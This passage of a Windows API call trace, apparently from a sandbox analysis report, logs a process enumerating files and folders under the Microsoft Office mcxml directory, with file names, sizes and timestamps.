ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0126.089] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.089] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystems32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0126.089] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystems64.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0126.089] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1 [0126.089] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0126.090] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0126.090] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0126.090] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0 [0126.090] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0126.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0126.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0126.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ea30) returned 1 [0126.091] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml", nBufferLength=0x105, lpBuffer=0x1f59e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml", lpFilePart=0x0) returned 0x2c [0126.091] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\*", lpFindFileData=0x1f59e750 | out: lpFindFileData=0x1f59e750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0126.092] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.092] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaac403, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaac403, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xec40, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystems32.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0126.092] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6cc6b6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6cc6b6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6cc6b6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVIsvSubsystems64.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0126.092] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-us", cAlternateFileName="")) returned 1 [0126.092] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0126.092] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0126.093] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1 [0126.093] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0126.093] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0126.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e970) returned 1 [0126.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e930) returned 1 [0126.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0126.094] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us", lpFilePart=0x0) returned 0x32 [0126.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\mcxml\\en-us\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.678] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.678] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x981606a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x981606a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2446a, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmui.msi.16_accessmui.mcxml", cAlternateFileName="ACCESS~2.MCX")) returned 1 [0126.678] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessmuiset.msi.16_accessmuiset.mcxml", cAlternateFileName="ACCESS~1.MCX")) returned 1 [0126.678] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e134, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.mcxml", cAlternateFileName="BRANDI~1.MCX")) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x92201bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xabb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="dcfmui.msi.16_dcfmui.mcxml", cAlternateFileName="DCFMUI~1.MCX")) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x97efe5f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x97efe5f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x981606a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19f30, dwReserved0=0x0, dwReserved1=0x0, cFileName="excelmui.msi.16_excelmui.mcxml", cAlternateFileName="EXCELM~1.MCX")) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x92201bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x653c, dwReserved0=0x0, dwReserved1=0x0, cFileName="groovemui.msi.16_groovemui.mcxml", cAlternateFileName="GROOVE~1.MCX")) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x92201bc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x92201bc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97efe5f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1249c, dwReserved0=0x0, dwReserved1=0x0, cFileName="lyncmui.msi.16_lyncmui.mcxml", cAlternateFileName="LYNCMU~1.MCX")) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98ae9c2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98ae9c2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x98fae45, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="office32mui.msi.16_office32mui.mcxml", cAlternateFileName="OFFICE~4.MCX")) returned 1 [0126.679] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16_AppXManifestLoc.mcxml", cAlternateFileName="OFFICE~3.MCX")) returned 1 [0126.680] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x659ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16_officemui.mcxml", cAlternateFileName="OFFICE~2.MCX")) returned 1 [0126.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x404, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemui.msi.16_PostCommon.Office.MUI.mcxml", cAlternateFileName="OFFICE~1.MCX")) returned 1 [0126.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f82, dwReserved0=0x0, dwReserved1=0x0, cFileName="officemuiset.msi.16_officemuiset.mcxml", cAlternateFileName="OF42EC~1.MCX")) returned 1 [0126.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9862502, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1233a, dwReserved0=0x0, dwReserved1=0x0, cFileName="onenotemui.msi.16_onenotemui.mcxml", cAlternateFileName="ONENOT~1.MCX")) returned 1 [0126.760] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cae, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmmui.msi.16_osmmui.mcxml", cAlternateFileName="OSMMUI~1.MCX")) returned 1 [0126.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9862502, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9862502, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x940a, dwReserved0=0x0, dwReserved1=0x0, cFileName="osmuxmui.msi.16_osmuxmui.mcxml", cAlternateFileName="OSMUXM~1.MCX")) returned 1 [0126.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x983c2c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x983c2c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x642ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlookmui.msi.16_outlookmui.mcxml", cAlternateFileName="OUTLOO~1.MCX")) returned 1 [0126.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9888767, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9888767, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9888767, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x12b8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpointmui.msi.16_powerpointmui.mcxml", cAlternateFileName="POWERP~1.MCX")) returned 1 [0126.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b8c7ea5, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b8c7ea5, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b8c7ea5, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x1a4dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="projectmui.msi.16_projectmui.mcxml", cAlternateFileName="PROJEC~1.MCX")) returned 1 [0126.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11094, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.Culture.msi.16_proof.mcxml", cAlternateFileName="PROOFC~1.MCX")) returned 1 [0126.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x98fae45, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x98fae45, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3f04, dwReserved0=0x0, dwReserved1=0x0, cFileName="proofing.msi.16_proofing.mcxml", cAlternateFileName="PROOFI~1.MCX")) returned 1 [0126.761] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x996d62b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x996d62b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99b9a24, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3ad0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="publishermui.msi.16_publishermui.mcxml", cAlternateFileName="PUBLIS~1.MCX")) returned 1 [0126.762] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x444fb18, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x444fb18, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x44e8517, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2061bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="visiomui.msi.16_visiomui.mcxml", cAlternateFileName="VISIOM~1.MCX")) returned 1 [0126.762] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x996d62b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2cb00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordmui.msi.16_wordmui.mcxml", cAlternateFileName="WORDMU~1.MCX")) returned 1 [0126.762] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, 